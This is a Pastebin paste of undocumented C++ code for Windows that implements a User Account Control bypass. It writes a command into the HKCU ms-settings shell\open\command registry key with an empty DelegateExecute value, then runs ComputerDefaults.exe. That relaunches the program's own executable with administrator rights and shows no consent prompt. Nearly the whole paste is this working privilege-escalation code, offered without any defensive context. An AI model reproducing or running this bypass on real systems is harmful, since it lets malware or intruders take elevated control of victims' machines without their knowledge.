Advertisement
Guest User

Untitled

a guest
Nov 18th, 2018
134
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #include <iostream>
  2. #include <string>
  3. #include <Windows.h>
  4.  
  5. BOOL is_elevated() {
  6.     BOOL fRet = FALSE;
  7.     HANDLE hToken = NULL;
  8.     if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) {
  9.         TOKEN_ELEVATION Elevation;
  10.         DWORD cbSize = sizeof(TOKEN_ELEVATION);
  11.         if (GetTokenInformation(hToken, TokenElevation, &Elevation, sizeof(Elevation), &cbSize)) {
  12.             fRet = Elevation.TokenIsElevated;
  13.         }
  14.     }
  15.     if (hToken) {
  16.         CloseHandle(hToken);
  17.     }
  18.     return fRet;
  19. }
  20.  
  21. VOID startup(LPCSTR lpApplicationName)
  22. {
  23.     // additional information
  24.     STARTUPINFOA si;
  25.     PROCESS_INFORMATION pi;
  26.  
  27.     // set the size of the structures
  28.     ZeroMemory(&si, sizeof(si));
  29.     si.cb = sizeof(si);
  30.     ZeroMemory(&pi, sizeof(pi));
  31.  
  32.     // start the program up
  33.     CreateProcessA(lpApplicationName,   // the path
  34.         NULL,           // Command line
  35.         NULL,           // Process handle not inheritable
  36.         NULL,           // Thread handle not inheritable
  37.         FALSE,          // Set handle inheritance to FALSE
  38.         0,              // No creation flags
  39.         NULL,           // Use parent's environment block
  40.         NULL,           // Use parent's starting directory
  41.         &si,            // Pointer to STARTUPINFO structure
  42.         &pi             // Pointer to PROCESS_INFORMATION structure (removed extra parentheses)
  43.     );
  44.     // Close process and thread handles.
  45.     CloseHandle(pi.hProcess);
  46.     CloseHandle(pi.hThread);
  47. }
  48.  
  49. std::string GetLastErrorAsString()
  50. {
  51.     //Get the error message, if any.
  52.     DWORD errorMessageID = ::GetLastError();
  53.     if (errorMessageID == 0)
  54.         return std::string(); //No error message has been recorded
  55.  
  56.     LPSTR messageBuffer = nullptr;
  57.     size_t size = FormatMessageA(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS,
  58.         NULL, errorMessageID, MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), (LPSTR)&messageBuffer, 0, NULL);
  59.  
  60.     std::string message(messageBuffer, size);
  61.  
  62.     //Free the buffer.
  63.     LocalFree(messageBuffer);
  64.  
  65.     return message;
  66. }
  67.  
  68. void create_reg_key(const char* key, const char* val)
  69. {
  70.     /*
  71.     _winreg.CreateKey(_winreg.HKEY_CURRENT_USER, 'Software\Classes\ms-settings\shell\open\command')
  72.     registry_key = _winreg.OpenKey(_winreg.HKEY_CURRENT_USER, 'Software\Classes\ms-settings\shell\open\command', 0, _winreg.KEY_WRITE)                
  73.     _winreg.SetValueEx(registry_key, key, 0, _winreg.REG_SZ, value)        
  74.     _winreg.CloseKey(registry_key)
  75.     */
  76.     HKEY temp;
  77.     HKEY kCommand;
  78.     auto status = RegCreateKeyA(HKEY_CURRENT_USER, "Software\\Classes\\ms-settings\\shell\\open\\command", &temp);
  79.     if (status != ERROR_SUCCESS) {
  80.         std::cout << GetLastErrorAsString();
  81.         return;
  82.     }
  83.     status = RegOpenKeyExA(HKEY_CURRENT_USER, "Software\\Classes\\ms-settings\\shell\\open\\command", 0, KEY_WRITE, &kCommand);
  84.     if (status != ERROR_SUCCESS) {
  85.         std::cout << GetLastErrorAsString();
  86.         return;
  87.     }
  88.     status = RegSetValueExA(kCommand, key, 0, REG_SZ, (BYTE*)val, strlen(val));
  89.     if (status != ERROR_SUCCESS) {
  90.         std::cout << GetLastErrorAsString();
  91.         return;
  92.     }
  93.     status = RegCloseKey(kCommand);
  94.     if (status != ERROR_SUCCESS) {
  95.         std::cout << GetLastErrorAsString();
  96.         return;
  97.     }
  98. }
  99.  
  100. void execute_elevated(const char * cmd)
  101. {
  102.     create_reg_key("DelegateExecute", "");
  103.     create_reg_key(NULL, cmd);
  104.     system("C:\\Windows\\System32\\ComputerDefaults.exe");
  105. }
  106.  
  107. void elevate_current_process() {
  108.     if (!is_elevated()) {
  109.         HMODULE hModule = GetModuleHandleW(NULL);
  110.         char path[MAX_PATH];
  111.         GetModuleFileNameA(hModule, path, MAX_PATH);
  112.         std::cout << path;
  113.         execute_elevated(path);
  114.     }
  115. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement